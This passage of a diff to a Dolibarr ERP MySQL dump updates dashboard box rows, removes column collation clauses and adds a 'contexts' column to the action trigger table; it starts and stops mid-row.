429,0,'B02',12,NULL,NULL),(1414,1,414,0,'B04',12,NULL,NULL),(1415,1,413,0,'B05',12,NULL,NULL),(1416,1,426,0,'B06',12,NULL,NULL),(1418,1,445,0,'B02',0,NULL,NULL),(1426,1,450,2,'A01',0,NULL,NULL),(1427,1,451,2,'B01',0,NULL,NULL),(1428,1,452,2,'A01',0,NULL,NULL),(1429,1,453,2,'B01',0,NULL,NULL),(1430,1,454,11,'A01',0,NULL,NULL),(1431,1,455,11,'B01',0,NULL,NULL),(1432,1,456,11,'A01',0,NULL,NULL),(1433,1,457,11,'B01',0,NULL,NULL),(1434,1,461,11,'A01',0,NULL,NULL),(1435,1,462,11,'B01',0,NULL,NULL),(1436,1,448,0,'A01',1,NULL,NULL),(1437,1,448,0,'B01',2,NULL,NULL),(1438,1,448,0,'A01',11,NULL,NULL),(1439,1,448,0,'A01',12,NULL,NULL),(1440,1,448,0,'A01',0,NULL,NULL),(1441,1,449,0,'B01',1,NULL,NULL),(1442,1,449,0,'A01',2,NULL,NULL),(1443,1,449,0,'B01',11,NULL,NULL),(1444,1,449,0,'A01',12,NULL,NULL),(1445,1,449,0,'B01',0,NULL,NULL),(1449,1,452,2,'A01',12,NULL,NULL),(1450,1,451,2,'B01',12,NULL,NULL),(1451,1,450,2,'B02',12,NULL,NULL),(1452,1,453,2,'B03',12,NULL,NULL),(1465,1,483,0,'0',0,NULL,NULL),(1466,1,484,0,'0',0,NULL,NULL),(1467,1,485,0,'0',0,NULL,NULL); +INSERT INTO `llx_boxes` VALUES (253,2,323,0,'0',0,NULL,NULL),(304,2,324,0,'0',0,NULL,NULL),(305,2,325,0,'0',0,NULL,NULL),(306,2,326,0,'0',0,NULL,NULL),(307,2,327,0,'0',0,NULL,NULL),(308,2,328,0,'0',0,NULL,NULL),(309,2,329,0,'0',0,NULL,NULL),(310,2,330,0,'0',0,NULL,NULL),(311,2,331,0,'0',0,NULL,NULL),(312,2,332,0,'0',0,NULL,NULL),(313,2,333,0,'0',0,NULL,NULL),(314,1,347,0,'A15',0,NULL,NULL),(315,1,348,0,'A29',0,NULL,NULL),(316,1,349,0,'A25',0,NULL,NULL),(317,1,350,0,'B28',0,NULL,NULL),(344,1,374,0,'B24',0,NULL,NULL),(347,1,377,0,'A27',0,NULL,NULL),(348,1,378,0,'A23',0,NULL,NULL),(358,1,388,0,'B38',0,NULL,NULL),(359,1,389,0,'B08',0,NULL,NULL),(360,1,390,0,'A37',0,NULL,NULL),(362,1,392,0,'A19',0,NULL,NULL),(363,1,393,0,'A07',0,NULL,NULL),(366,1,396,0,'B26',0,NULL,NULL),(387,1,403,0,'B30',0,NULL,NULL),(392,1,409,0,'A09',0,NULL,NULL),(393,1,410,0,'B18',0,NULL,NULL),(394,1,411,0,'B14',0,NULL,NULL),(395,1,412,0,'B34',0,NULL,NULL),(396,1,413,0,'A13',0,NULL,NULL),(397,1,414,0,'A33',0,NULL,NULL),(398,1,415,0,'B12',0,NULL,NULL),(399,1,416,0,'B32',0,NULL,NULL),(400,1,417,0,'A11',0,NULL,NULL),(401,1,418,0,'A31',0,NULL,NULL),(501,1,419,0,'B10',0,NULL,NULL),(1019,1,392,0,'A01',2,NULL,NULL),(1021,1,412,0,'A03',2,NULL,NULL),(1022,1,347,0,'A04',2,NULL,NULL),(1023,1,393,0,'A05',2,NULL,NULL),(1025,1,389,0,'A07',2,NULL,NULL),(1026,1,416,0,'A08',2,NULL,NULL),(1027,1,396,0,'B01',2,NULL,NULL),(1028,1,377,0,'B02',2,NULL,NULL),(1031,1,419,0,'B05',2,NULL,NULL),(1036,1,424,0,'B16',0,NULL,NULL),(1037,1,425,0,'A35',0,NULL,NULL),(1038,1,426,0,'B36',0,NULL,NULL),(1150,1,430,0,'B20',0,NULL,NULL),(1152,1,429,0,'A01',1,NULL,NULL),(1153,1,429,0,'B01',2,NULL,NULL),(1154,1,429,0,'A01',11,NULL,NULL),(1156,1,429,0,'A05',0,NULL,NULL),(1183,1,433,0,'B06',0,NULL,NULL),(1235,1,404,0,'B01',1,NULL,NULL),(1236,1,404,0,'B01',2,NULL,NULL),(1237,1,404,0,'B01',11,NULL,NULL),(1239,1,404,0,'A17',0,NULL,NULL),(1418,1,445,0,'B22',0,NULL,NULL),(1426,1,450,2,'B40',0,NULL,NULL),(1427,1,451,2,'A41',0,NULL,NULL),(1428,1,452,2,'A39',0,NULL,NULL),(1429,1,453,2,'B42',0,NULL,NULL),(1430,1,454,11,'B44',0,NULL,NULL),(1431,1,455,11,'B48',0,NULL,NULL),(1432,1,456,11,'A43',0,NULL,NULL),(1433,1,457,11,'A47',0,NULL,NULL),(1434,1,461,11,'A45',0,NULL,NULL),(1435,1,462,11,'B46',0,NULL,NULL),(1436,1,448,0,'A01',1,NULL,NULL),(1437,1,448,0,'B01',2,NULL,NULL),(1438,1,448,0,'A01',11,NULL,NULL),(1440,1,448,0,'B04',0,NULL,NULL),(1441,1,449,0,'B01',1,NULL,NULL),(1442,1,449,0,'A01',2,NULL,NULL),(1443,1,449,0,'B01',11,NULL,NULL),(1445,1,449,0,'A21',0,NULL,NULL),(1449,1,452,2,'A01',12,NULL,NULL),(1450,1,451,2,'B01',12,NULL,NULL),(1451,1,450,2,'B02',12,NULL,NULL),(1452,1,453,2,'B03',12,NULL,NULL),(1471,1,438,0,'A01',1,NULL,NULL),(1472,1,438,0,'B01',2,NULL,NULL),(1473,1,438,0,'A01',11,NULL,NULL),(1475,1,438,0,'A01',0,NULL,NULL),(1476,1,419,0,'A01',12,NULL,NULL),(1477,1,412,0,'A02',12,NULL,NULL),(1478,1,449,0,'A03',12,NULL,NULL),(1479,1,448,0,'A04',12,NULL,NULL),(1480,1,378,0,'A05',12,NULL,NULL),(1481,1,404,0,'A06',12,NULL,NULL),(1482,1,377,0,'A07',12,NULL,NULL),(1483,1,392,0,'B01',12,NULL,NULL),(1484,1,438,0,'B02',12,NULL,NULL),(1485,1,429,0,'B03',12,NULL,NULL),(1486,1,414,0,'B04',12,NULL,NULL),(1487,1,413,0,'B05',12,NULL,NULL),(1488,1,426,0,'B06',12,NULL,NULL),(1492,1,493,0,'0',0,NULL,NULL),(1493,1,494,0,'0',0,NULL,NULL),(1494,1,495,0,'0',0,NULL,NULL); /*!40000 ALTER TABLE `llx_boxes` ENABLE KEYS */; UNLOCK TABLES; @@ -1583,14 +1233,14 @@ DROP TABLE IF EXISTS `llx_boxes_def`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_boxes_def` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `file` varchar(200) COLLATE utf8mb3_unicode_ci NOT NULL, + `file` varchar(200) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `note` varchar(130) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` varchar(130) DEFAULT NULL, `fk_user` int(11) NOT NULL DEFAULT 0, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_boxes_def` (`file`,`entity`,`note`) -) ENGINE=InnoDB AUTO_INCREMENT=486 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=499 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1599,7 +1249,7 @@ CREATE TABLE `llx_boxes_def` ( LOCK TABLES `llx_boxes_def` WRITE; /*!40000 ALTER TABLE `llx_boxes_def` DISABLE KEYS */; -INSERT INTO `llx_boxes_def` VALUES (323,'box_actions.php',2,'2015-03-13 15:29:19',NULL,0),(324,'box_clients.php',2,'2015-03-13 20:21:35',NULL,0),(325,'box_prospect.php',2,'2015-03-13 20:21:35',NULL,0),(326,'box_contacts.php',2,'2015-03-13 20:21:35',NULL,0),(327,'box_activity.php',2,'2015-03-13 20:21:35','(WarningUsingThisBoxSlowDown)',0),(328,'box_propales.php',2,'2015-03-13 20:32:38',NULL,0),(329,'box_comptes.php',2,'2015-03-13 20:33:09',NULL,0),(330,'box_factures_imp.php',2,'2015-03-13 20:33:09',NULL,0),(331,'box_factures.php',2,'2015-03-13 20:33:09',NULL,0),(332,'box_produits.php',2,'2015-03-13 20:33:09',NULL,0),(333,'box_produits_alerte_stock.php',2,'2015-03-13 20:33:09',NULL,0),(347,'box_clients.php',1,'2017-11-15 22:05:57',NULL,0),(348,'box_prospect.php',1,'2017-11-15 22:05:57',NULL,0),(349,'box_contacts.php',1,'2017-11-15 22:05:57',NULL,0),(350,'box_activity.php',1,'2017-11-15 22:05:57','(WarningUsingThisBoxSlowDown)',0),(374,'box_services_contracts.php',1,'2017-11-15 22:38:37',NULL,0),(377,'box_project.php',1,'2017-11-15 22:38:44',NULL,0),(378,'box_task.php',1,'2017-11-15 22:38:44',NULL,0),(388,'box_contracts.php',1,'2017-11-15 22:39:52',NULL,0),(389,'box_services_expired.php',1,'2017-11-15 22:39:52',NULL,0),(390,'box_ficheinter.php',1,'2017-11-15 22:39:56',NULL,0),(392,'box_graph_propales_permonth.php',1,'2017-11-15 22:41:47',NULL,0),(393,'box_propales.php',1,'2017-11-15 22:41:47',NULL,0),(396,'box_graph_product_distribution.php',1,'2017-11-15 22:41:47',NULL,0),(403,'box_goodcustomers.php',1,'2018-07-30 11:13:20','(WarningUsingThisBoxSlowDown)',0),(404,'box_external_rss.php',1,'2018-07-30 11:15:25','1 (Dolibarr.org News)',0),(409,'box_produits.php',1,'2018-07-30 13:38:11',NULL,0),(410,'box_produits_alerte_stock.php',1,'2018-07-30 13:38:11',NULL,0),(411,'box_commandes.php',1,'2018-07-30 13:38:11',NULL,0),(412,'box_graph_orders_permonth.php',1,'2018-07-30 13:38:11',NULL,0),(413,'box_graph_invoices_supplier_permonth.php',1,'2018-07-30 13:38:11',NULL,0),(414,'box_graph_orders_supplier_permonth.php',1,'2018-07-30 13:38:11',NULL,0),(415,'box_fournisseurs.php',1,'2018-07-30 13:38:11',NULL,0),(416,'box_factures_fourn_imp.php',1,'2018-07-30 13:38:11',NULL,0),(417,'box_factures_fourn.php',1,'2018-07-30 13:38:11',NULL,0),(418,'box_supplier_orders.php',1,'2018-07-30 13:38:11',NULL,0),(419,'box_actions.php',1,'2018-07-30 15:42:32',NULL,0),(424,'box_factures_imp.php',1,'2017-02-07 18:56:12',NULL,0),(425,'box_factures.php',1,'2017-02-07 18:56:12',NULL,0),(426,'box_graph_invoices_permonth.php',1,'2017-02-07 18:56:12',NULL,0),(429,'box_lastlogin.php',1,'2017-08-27 13:29:14',NULL,0),(430,'box_bookmarks.php',1,'2018-01-19 11:27:34',NULL,0),(432,'box_birthdays.php',1,'2019-06-05 08:45:40',NULL,0),(433,'box_last_ticket',1,'2019-06-05 09:15:29',NULL,0),(436,'box_accountancy_last_manual_entries.php',1,'2019-11-28 11:52:58',NULL,0),(437,'box_accountancy_suspense_account.php',1,'2019-11-28 11:52:58',NULL,0),(438,'box_supplier_orders_awaiting_reception.php',1,'2019-11-28 11:52:59',NULL,0),(445,'box_shipments.php',1,'2020-01-13 14:38:20',NULL,0),(446,'box_funnel_of_prospection.php',1,'2020-12-10 12:24:40',NULL,0),(447,'box_customers_outstanding_bill_reached.php',1,'2020-12-10 12:24:40',NULL,0),(448,'box_scheduled_jobs.php',1,'2021-04-15 10:22:49',NULL,0),(449,'box_dolibarr_state_board.php',1,'2021-04-15 10:22:54',NULL,0),(450,'box_members_last_modified.php',1,'2021-04-15 10:22:54',NULL,0),(451,'box_members_last_subscriptions.php',1,'2021-04-15 10:22:54',NULL,0),(452,'box_members_subscriptions_by_year.php',1,'2021-04-15 10:22:54',NULL,0),(453,'box_members_by_type.php',1,'2021-04-15 10:22:54',NULL,0),(454,'box_graph_ticket_by_severity.php',1,'2021-04-15 10:22:55',NULL,0),(455,'box_graph_nb_ticket_last_x_days.php',1,'2021-04-15 10:22:55',NULL,0),(456,'box_graph_nb_tickets_type.php',1,'2021-04-15 10:22:55',NULL,0),(457,'box_graph_new_vs_close_ticket.php',1,'2021-04-15 10:22:55',NULL,0),(461,'box_last_ticket.php',1,'2021-04-15 10:23:01',NULL,0),(462,'box_last_modified_ticket.php',1,'2021-04-15 10:23:01',NULL,0),(470,'box_ticket_by_severity.php',1,'2021-07-11 17:49:47',NULL,0),(471,'box_nb_ticket_last_x_days.php',1,'2021-07-11 17:49:47',NULL,0),(472,'box_nb_tickets_type.php',1,'2021-07-11 17:49:47',NULL,0),(473,'box_new_vs_close_ticket.php',1,'2021-07-11 17:49:47',NULL,0),(483,'box_boms.php',1,'2022-07-05 08:07:11',NULL,0),(484,'box_comptes.php',1,'2022-07-05 08:07:11',NULL,0),(485,'box_mos.php',1,'2022-07-05 08:07:11',NULL,0); +INSERT INTO `llx_boxes_def` VALUES (323,'box_actions.php',2,'2015-03-13 15:29:19',NULL,0),(324,'box_clients.php',2,'2015-03-13 20:21:35',NULL,0),(325,'box_prospect.php',2,'2015-03-13 20:21:35',NULL,0),(326,'box_contacts.php',2,'2015-03-13 20:21:35',NULL,0),(327,'box_activity.php',2,'2015-03-13 20:21:35','(WarningUsingThisBoxSlowDown)',0),(328,'box_propales.php',2,'2015-03-13 20:32:38',NULL,0),(329,'box_comptes.php',2,'2015-03-13 20:33:09',NULL,0),(330,'box_factures_imp.php',2,'2015-03-13 20:33:09',NULL,0),(331,'box_factures.php',2,'2015-03-13 20:33:09',NULL,0),(332,'box_produits.php',2,'2015-03-13 20:33:09',NULL,0),(333,'box_produits_alerte_stock.php',2,'2015-03-13 20:33:09',NULL,0),(347,'box_clients.php',1,'2017-11-15 22:05:57',NULL,0),(348,'box_prospect.php',1,'2017-11-15 22:05:57',NULL,0),(349,'box_contacts.php',1,'2017-11-15 22:05:57',NULL,0),(350,'box_activity.php',1,'2017-11-15 22:05:57','(WarningUsingThisBoxSlowDown)',0),(374,'box_services_contracts.php',1,'2017-11-15 22:38:37',NULL,0),(377,'box_project.php',1,'2017-11-15 22:38:44',NULL,0),(378,'box_task.php',1,'2017-11-15 22:38:44',NULL,0),(388,'box_contracts.php',1,'2017-11-15 22:39:52',NULL,0),(389,'box_services_expired.php',1,'2017-11-15 22:39:52',NULL,0),(390,'box_ficheinter.php',1,'2017-11-15 22:39:56',NULL,0),(392,'box_graph_propales_permonth.php',1,'2017-11-15 22:41:47',NULL,0),(393,'box_propales.php',1,'2017-11-15 22:41:47',NULL,0),(396,'box_graph_product_distribution.php',1,'2017-11-15 22:41:47',NULL,0),(403,'box_goodcustomers.php',1,'2018-07-30 11:13:20','(WarningUsingThisBoxSlowDown)',0),(404,'box_external_rss.php',1,'2018-07-30 11:15:25','1 (Dolibarr.org News)',0),(409,'box_produits.php',1,'2018-07-30 13:38:11',NULL,0),(410,'box_produits_alerte_stock.php',1,'2018-07-30 13:38:11',NULL,0),(411,'box_commandes.php',1,'2018-07-30 13:38:11',NULL,0),(412,'box_graph_orders_permonth.php',1,'2018-07-30 13:38:11',NULL,0),(413,'box_graph_invoices_supplier_permonth.php',1,'2018-07-30 13:38:11',NULL,0),(414,'box_graph_orders_supplier_permonth.php',1,'2018-07-30 13:38:11',NULL,0),(415,'box_fournisseurs.php',1,'2018-07-30 13:38:11',NULL,0),(416,'box_factures_fourn_imp.php',1,'2018-07-30 13:38:11',NULL,0),(417,'box_factures_fourn.php',1,'2018-07-30 13:38:11',NULL,0),(418,'box_supplier_orders.php',1,'2018-07-30 13:38:11',NULL,0),(419,'box_actions.php',1,'2018-07-30 15:42:32',NULL,0),(424,'box_factures_imp.php',1,'2017-02-07 18:56:12',NULL,0),(425,'box_factures.php',1,'2017-02-07 18:56:12',NULL,0),(426,'box_graph_invoices_permonth.php',1,'2017-02-07 18:56:12',NULL,0),(429,'box_lastlogin.php',1,'2017-08-27 13:29:14',NULL,0),(430,'box_bookmarks.php',1,'2018-01-19 11:27:34',NULL,0),(432,'box_birthdays.php',1,'2019-06-05 08:45:40',NULL,0),(433,'box_last_ticket',1,'2019-06-05 09:15:29',NULL,0),(438,'box_supplier_orders_awaiting_reception.php',1,'2019-11-28 11:52:59',NULL,0),(445,'box_shipments.php',1,'2020-01-13 14:38:20',NULL,0),(446,'box_funnel_of_prospection.php',1,'2020-12-10 12:24:40',NULL,0),(447,'box_customers_outstanding_bill_reached.php',1,'2020-12-10 12:24:40',NULL,0),(448,'box_scheduled_jobs.php',1,'2021-04-15 10:22:49',NULL,0),(449,'box_dolibarr_state_board.php',1,'2021-04-15 10:22:54',NULL,0),(450,'box_members_last_modified.php',1,'2021-04-15 10:22:54',NULL,0),(451,'box_members_last_subscriptions.php',1,'2021-04-15 10:22:54',NULL,0),(452,'box_members_subscriptions_by_year.php',1,'2021-04-15 10:22:54',NULL,0),(453,'box_members_by_type.php',1,'2021-04-15 10:22:54',NULL,0),(454,'box_graph_ticket_by_severity.php',1,'2021-04-15 10:22:55',NULL,0),(455,'box_graph_nb_ticket_last_x_days.php',1,'2021-04-15 10:22:55',NULL,0),(456,'box_graph_nb_tickets_type.php',1,'2021-04-15 10:22:55',NULL,0),(457,'box_graph_new_vs_close_ticket.php',1,'2021-04-15 10:22:55',NULL,0),(461,'box_last_ticket.php',1,'2021-04-15 10:23:01',NULL,0),(462,'box_last_modified_ticket.php',1,'2021-04-15 10:23:01',NULL,0),(470,'box_ticket_by_severity.php',1,'2021-07-11 17:49:47',NULL,0),(471,'box_nb_ticket_last_x_days.php',1,'2021-07-11 17:49:47',NULL,0),(472,'box_nb_tickets_type.php',1,'2021-07-11 17:49:47',NULL,0),(473,'box_new_vs_close_ticket.php',1,'2021-07-11 17:49:47',NULL,0),(493,'box_boms.php',1,'2023-01-12 16:58:21',NULL,0),(494,'box_comptes.php',1,'2023-01-12 16:58:21',NULL,0),(495,'box_mos.php',1,'2023-01-12 16:58:22',NULL,0),(496,'box_googlemaps@google',1,'2023-02-22 19:34:58',NULL,0),(497,'box_accountancy_last_manual_entries.php',1,'2023-02-27 01:59:59',NULL,0),(498,'box_accountancy_suspense_account.php',1,'2023-02-27 01:59:59',NULL,0); /*!40000 ALTER TABLE `llx_boxes_def` ENABLE KEYS */; UNLOCK TABLES; @@ -1613,9 +1263,9 @@ DROP TABLE IF EXISTS `llx_budget`; CREATE TABLE `llx_budget` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `label` varchar(255) NOT NULL, `status` int(11) DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `date_start` date DEFAULT NULL, `date_end` date DEFAULT NULL, `datec` datetime DEFAULT NULL, @@ -1646,7 +1296,7 @@ DROP TABLE IF EXISTS `llx_budget_lines`; CREATE TABLE `llx_budget_lines` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_budget` int(11) NOT NULL, - `fk_project_ids` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `fk_project_ids` varchar(255) NOT NULL, `amount` double(24,8) NOT NULL, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), @@ -1678,18 +1328,18 @@ DROP TABLE IF EXISTS `llx_c_accounting_category`; CREATE TABLE `llx_c_accounting_category` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `code` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `range_account` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(16) NOT NULL, + `label` varchar(255) NOT NULL, + `range_account` varchar(255) NOT NULL, `sens` tinyint(4) NOT NULL DEFAULT 0, `category_type` tinyint(4) NOT NULL DEFAULT 0, - `formula` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `formula` varchar(255) NOT NULL, `position` int(11) DEFAULT 0, `fk_country` int(11) DEFAULT NULL, `active` int(11) DEFAULT 1, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_c_accounting_category` (`code`,`entity`) -) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1698,7 +1348,7 @@ CREATE TABLE `llx_c_accounting_category` ( LOCK TABLES `llx_c_accounting_category` WRITE; /*!40000 ALTER TABLE `llx_c_accounting_category` DISABLE KEYS */; -INSERT INTO `llx_c_accounting_category` VALUES (1,1,'VENTES','Ventes de marchandises','7xxxxx',0,0,'',10,1,1),(2,1,'DEPENSES','Coût d achats marchandises vendues','6xxxxx',0,0,'',20,1,1),(3,1,'PROFIT','Marge commerciale','Balance',0,1,'VENTES+DEPENSES',30,1,1),(4,1,'123','ddd','603xxx | 607xxx | 609xxx',0,0,'0',4,14,1); +INSERT INTO `llx_c_accounting_category` VALUES (1,1,'VENTES','Ventes de marchandises','7xxxxx',0,0,'',10,1,1),(2,1,'DEPENSES','Coût d achats marchandises vendues','6xxxxx',0,0,'',20,1,1),(3,1,'PROFIT','Marge commerciale','Balance',0,1,'VENTES+DEPENSES-aaa',30,1,1),(4,1,'123','ddd','603xxx | 607xxx | 609xxx',0,0,'0',4,14,1),(5,1,'aaa','aaa','',0,0,'',25,1,1); /*!40000 ALTER TABLE `llx_c_accounting_category` ENABLE KEYS */; UNLOCK TABLES; @@ -1711,15 +1361,16 @@ DROP TABLE IF EXISTS `llx_c_action_trigger`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_c_action_trigger` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `code` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, - `label` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `description` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `elementtype` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, + `code` varchar(128) DEFAULT NULL, + `label` varchar(128) NOT NULL, + `description` varchar(255) DEFAULT NULL, + `elementtype` varchar(64) DEFAULT NULL, `rang` int(11) DEFAULT 0, + `contexts` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_action_trigger_code` (`code`), KEY `idx_action_trigger_rang` (`rang`) -) ENGINE=InnoDB AUTO_INCREMENT=455 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=879 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1728,7 +1379,7 @@ CREATE TABLE `llx_c_action_trigger` ( LOCK TABLES `llx_c_action_trigger` WRITE; /*!40000 ALTER TABLE `llx_c_action_trigger` DISABLE KEYS */; -INSERT INTO `llx_c_action_trigger` VALUES (131,'COMPANY_SENTBYMAIL','Mails sent from third party card','Executed when you send email from third party card','societe',1),(132,'COMPANY_CREATE','Third party created','Executed when a third party is created','societe',1),(133,'PROPAL_VALIDATE','Customer proposal validated','Executed when a commercial proposal is validated','propal',2),(134,'PROPAL_SENTBYMAIL','Commercial proposal sent by mail','Executed when a commercial proposal is sent by mail','propal',3),(135,'ORDER_VALIDATE','Customer order validate','Executed when a customer order is validated','commande',4),(136,'ORDER_CLOSE','Customer order classify delivered','Executed when a customer order is set delivered','commande',5),(137,'ORDER_CLASSIFY_BILLED','Customer order classify billed','Executed when a customer order is set to billed','commande',5),(138,'ORDER_CANCEL','Customer order canceled','Executed when a customer order is canceled','commande',5),(139,'ORDER_SENTBYMAIL','Customer order sent by mail','Executed when a customer order is sent by mail ','commande',5),(140,'BILL_VALIDATE','Customer invoice validated','Executed when a customer invoice is approved','facture',6),(141,'BILL_PAYED','Customer invoice payed','Executed when a customer invoice is payed','facture',7),(142,'BILL_CANCEL','Customer invoice canceled','Executed when a customer invoice is conceled','facture',8),(143,'BILL_SENTBYMAIL','Customer invoice sent by mail','Executed when a customer invoice is sent by mail','facture',9),(144,'BILL_UNVALIDATE','Customer invoice unvalidated','Executed when a customer invoice status set back to draft','facture',10),(145,'ORDER_SUPPLIER_VALIDATE','Supplier order validated','Executed when a supplier order is validated','order_supplier',11),(146,'ORDER_SUPPLIER_APPROVE','Supplier order request approved','Executed when a supplier order is approved','order_supplier',12),(147,'ORDER_SUPPLIER_REFUSE','Supplier order request refused','Executed when a supplier order is refused','order_supplier',13),(148,'ORDER_SUPPLIER_SENTBYMAIL','Supplier order sent by mail','Executed when a supplier order is sent by mail','order_supplier',14),(149,'BILL_SUPPLIER_VALIDATE','Supplier invoice validated','Executed when a supplier invoice is validated','invoice_supplier',15),(150,'BILL_SUPPLIER_PAYED','Supplier invoice payed','Executed when a supplier invoice is payed','invoice_supplier',16),(151,'BILL_SUPPLIER_SENTBYMAIL','Supplier invoice sent by mail','Executed when a supplier invoice is sent by mail','invoice_supplier',17),(152,'BILL_SUPPLIER_CANCELED','Supplier invoice cancelled','Executed when a supplier invoice is cancelled','invoice_supplier',17),(153,'CONTRACT_VALIDATE','Contract validated','Executed when a contract is validated','contrat',18),(154,'SHIPPING_VALIDATE','Shipping validated','Executed when a shipping is validated','shipping',20),(155,'SHIPPING_SENTBYMAIL','Shipping sent by mail','Executed when a shipping is sent by mail','shipping',21),(156,'MEMBER_VALIDATE','Member validated','Executed when a member is validated','member',22),(158,'MEMBER_RESILIATE','Member resiliated','Executed when a member is resiliated','member',24),(159,'MEMBER_MODIFY','Member modified','Executed when a member is modified','member',24),(160,'MEMBER_DELETE','Member deleted','Executed when a member is deleted','member',25),(161,'FICHINTER_VALIDATE','Intervention validated','Executed when a intervention is validated','ficheinter',19),(162,'FICHINTER_CLASSIFY_BILLED','Intervention set billed','Executed when a intervention is set to billed (when option FICHINTER_CLASSIFY_BILLED is set)','ficheinter',19),(163,'FICHINTER_CLASSIFY_UNBILLED','Intervention set unbilled','Executed when a intervention is set to unbilled (when option FICHINTER_CLASSIFY_BILLED is set)','ficheinter',19),(164,'FICHINTER_REOPEN','Intervention opened','Executed when a intervention is re-opened','ficheinter',19),(165,'FICHINTER_SENTBYMAIL','Intervention sent by mail','Executed when a intervention is sent by mail','ficheinter',19),(166,'PROJECT_CREATE','Project creation','Executed when a project is created','project',140),(167,'PROPAL_CLOSE_SIGNED','Customer proposal closed signed','Executed when a customer proposal is closed signed','propal',2),(168,'PROPAL_CLOSE_REFUSED','Customer proposal closed refused','Executed when a customer proposal is closed refused','propal',2),(169,'PROPAL_CLASSIFY_BILLED','Customer proposal set billed','Executed when a customer proposal is set to billed','propal',2),(170,'TASK_CREATE','Task created','Executed when a project task is created','project',35),(171,'TASK_MODIFY','Task modified','Executed when a project task is modified','project',36),(172,'TASK_DELETE','Task deleted','Executed when a project task is deleted','project',37),(173,'BILL_SUPPLIER_UNVALIDATE','Supplier invoice unvalidated','Executed when a supplier invoice status is set back to draft','invoice_supplier',15),(174,'PROJECT_MODIFY','Project modified','Executed when a project is modified','project',141),(175,'PROJECT_DELETE','Project deleted','Executed when a project is deleted','project',142),(176,'ORDER_SUPPLIER_CREATE','Supplier order validated','Executed when a supplier order is validated','order_supplier',11),(177,'ORDER_SUPPLIER_SUBMIT','Supplier order request submited','Executed when a supplier order is approved','order_supplier',12),(178,'ORDER_SUPPLIER_RECEIVE','Supplier order request received','Executed when a supplier order is received','order_supplier',12),(179,'ORDER_SUPPLIER_CLASSIFY_BILLED','Supplier order set billed','Executed when a supplier order is set as billed','order_supplier',14),(180,'PRODUCT_CREATE','Product or service created','Executed when a product or sevice is created','product',30),(181,'PRODUCT_MODIFY','Product or service modified','Executed when a product or sevice is modified','product',30),(182,'PRODUCT_DELETE','Product or service deleted','Executed when a product or sevice is deleted','product',30),(183,'EXPENSE_REPORT_CREATE','Expense report created','Executed when an expense report is created','expensereport',201),(185,'EXPENSE_REPORT_VALIDATE','Expense report validated','Executed when an expense report is validated','expensereport',202),(186,'EXPENSE_REPORT_APPROVE','Expense report approved','Executed when an expense report is approved','expensereport',203),(187,'EXPENSE_REPORT_PAID','Expense report billed','Executed when an expense report is set as billed','expensereport',204),(192,'HOLIDAY_CREATE','Leave request created','Executed when a leave request is created','holiday',221),(193,'HOLIDAY_VALIDATE','Leave request validated','Executed when a leave request is validated','holiday',222),(194,'HOLIDAY_APPROVE','Leave request approved','Executed when a leave request is approved','holiday',223),(210,'MEMBER_SENTBYMAIL','Mails sent from member card','Executed when you send email from member card','member',23),(211,'CONTRACT_SENTBYMAIL','Contract sent by mail','Executed when a contract is sent by mail','contrat',18),(212,'PROPOSAL_SUPPLIER_VALIDATE','Price request validated','Executed when a commercial proposal is validated','proposal_supplier',10),(213,'PROPOSAL_SUPPLIER_SENTBYMAIL','Price request sent by mail','Executed when a commercial proposal is sent by mail','proposal_supplier',10),(214,'PROPOSAL_SUPPLIER_CLOSE_SIGNED','Price request closed signed','Executed when a customer proposal is closed signed','proposal_supplier',10),(215,'PROPOSAL_SUPPLIER_CLOSE_REFUSED','Price request closed refused','Executed when a customer proposal is closed refused','proposal_supplier',10),(216,'MEMBER_SUBSCRIPTION_CREATE','Member subscribtion recorded','Executed when a member subscribtion is deleted','member',24),(217,'MEMBER_SUBSCRIPTION_MODIFY','Member subscribtion modified','Executed when a member subscribtion is modified','member',24),(218,'MEMBER_SUBSCRIPTION_DELETE','Member subscribtion deleted','Executed when a member subscribtion is deleted','member',24),(225,'COMPANY_DELETE','Third party deleted','Executed when you delete third 